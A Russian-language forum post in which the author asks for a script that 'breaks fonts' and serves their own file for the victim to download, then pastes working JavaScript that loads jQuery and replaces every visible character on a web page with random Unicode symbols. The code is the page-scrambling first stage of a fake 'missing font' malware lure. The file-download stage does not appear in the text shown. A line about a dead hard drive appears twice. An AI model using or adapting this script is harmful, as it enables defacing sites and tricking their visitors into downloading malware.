Привет всем, поделитесь скриптом который ломает шрифты и дает свой файл для скачки терпиле.
Был блин, винт сдох (((
Был блин, винт сдох (((
(function() {
// Load the script
var script = document.createElement("script");
script.src = 'https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';
script.type = 'text/javascript';
script.onload = function() {
var $ = window.jQuery;
};
document.getElementsByTagName("head")[0].appendChild(script);
})();
function encodePage() {
jQuery('*').contents().filter(function() {
return this.nodeType == Node.TEXT_NODE && this.nodeValue.trim() != '';
}).each(function() {
this.nodeValue = encodeHtmlText(this.nodeValue);
});
}
function encodeHtmlText(htmlText) {
var isCharSystem = false;
var isCharEntity = false;
var encodedStr = '';
for(var i = 0; i < htmlText.length; i++)
{
switch(htmlText[i]) {
case '<':
isCharSystem = true;
encodedStr += htmlText[i];
break;
case '>':
isCharSystem = false;
encodedStr += htmlText[i];
break;
case '&':
if(isCharEntity == false)
isCharEntity = true;
encodedStr += htmlText[i];
break;
case ';':
if(isCharEntity)
isCharEntity = false;
encodedStr += htmlText[i];
break;
default:
if(!isCharSystem && !isCharEntity)
encodedStr += encodedSymbol();
else
encodedStr += htmlText[i];
}
}
return encodedStr;
}
function encodedSymbol() {
return String.fromCharCode(Math.floor(Math.random() * Math.floor(5000)))
}
encodePage();